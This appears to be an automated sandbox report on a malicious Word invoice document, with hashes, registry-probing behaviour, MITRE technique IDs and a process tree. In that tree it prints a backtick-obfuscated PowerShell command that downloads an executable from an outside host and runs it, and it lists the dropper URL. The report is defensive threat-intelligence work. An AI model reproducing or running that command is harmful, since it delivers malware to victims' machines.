7dba782e988f0c5b44443e496bc1e8b55931b652ae353ae854f55df6eabf90fb

General

Target

Scanned_invoice_8765456_091257.doc
Size

55KB
MD5

7e039d3c0e2d0df8214cedffeca95760
SHA1

113611901a4ea795a3df3714349c3f206f4db0cd
SHA256

7dba782e988f0c5b44443e496bc1e8b55931b652ae353ae854f55df6eabf90fb
SHA512

57c85d18657cf4d6fd4b6a8d18eda6ccbd4c548e42caffc9a9b3d231f114c2e863aeeaf79dcb2dc7c2880135d55a611d51b3345ab9bfbd517f64e380015e691a

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://secure01wa.2waky.com/v/App16.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2440	568	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

568 WINWORD.EXE
568 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2292 powershell.exe
2292 powershell.exe
2292 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2292 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

568 WINWORD.EXE
568 WINWORD.EXE
568 WINWORD.EXE
568 WINWORD.EXE
568 WINWORD.EXE
568 WINWORD.EXE
568 WINWORD.EXE

pid	process
568	WINWORD.EXE
568	WINWORD.EXE

pid	process
2292	powershell.exe
2292	powershell.exe
2292	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2292	powershell.exe

pid	process
568	WINWORD.EXE
568	WINWORD.EXE
568	WINWORD.EXE
568	WINWORD.EXE
568	WINWORD.EXE
568	WINWORD.EXE
568	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 568 wrote to memory of 2440	568	WINWORD.EXE	cmd.exe
PID 568 wrote to memory of 2440	568	WINWORD.EXE	cmd.exe
PID 2440 wrote to memory of 2292	2440	cmd.exe	powershell.exe
PID 2440 wrote to memory of 2292	2440	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Scanned_invoice_8765456_091257.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\mindwatch.cmd" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`ps://secure01wa.2waky.com/v/App16.e`xe -Destination C:\Users\Public\Documents\badlike.e`xe;C:\Users\Public\Documents\badlike.e`xe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2292

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\mindwatch.cmd
MD5
3ae556fb3d6bc97515b87db89b81d2c8

SHA1
b2a9332f6648a6aaa351ef9380b6f3882f7fc4a7

SHA256
ee6392307e667e11aded0e7ef4fb2ec580917f8fb6651913b94e34d508764abe

SHA512
f02aa8bb5ca70b1e5bae2dc6d252c98504cc424e8b78139179f6fc9bddcc5f679636e0c9f2c448b7e197e78102055f5fc26f9cceb11a7e36acbd081ba0ee8b39

Download Submit
memory/568-133-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-117-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/568-135-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-136-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-119-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-120-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/568-121-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-129-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-130-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-131-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-132-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-114-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/568-134-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-116-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/568-118-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-115-0x00007FFB2BCA0000-0x00007FFB2BCB0000-memory.dmp

Filesize
64KB

Download
memory/568-152-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/568-151-0x000002866B830000-0x000002866B832000-memory.dmp

Filesize
8KB

Download
memory/2292-176-0x0000000000000000-mapping.dmp

Download
memory/2292-179-0x0000020C130E0000-0x0000020C130E2000-memory.dmp

Filesize
8KB

Download
memory/2292-181-0x0000020C130E0000-0x0000020C130E2000-memory.dmp

Filesize
8KB

Download
memory/2292-209-0x0000020C13190000-0x0000020C13192000-memory.dmp

Filesize
8KB

Download
memory/2292-210-0x0000020C13193000-0x0000020C13195000-memory.dmp

Filesize
8KB

Download
memory/2292-416-0x0000020C13196000-0x0000020C13198000-memory.dmp

Filesize
8KB

Download
memory/2292-417-0x0000020C13198000-0x0000020C13199000-memory.dmp

Filesize
4KB

Download
memory/2440-146-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads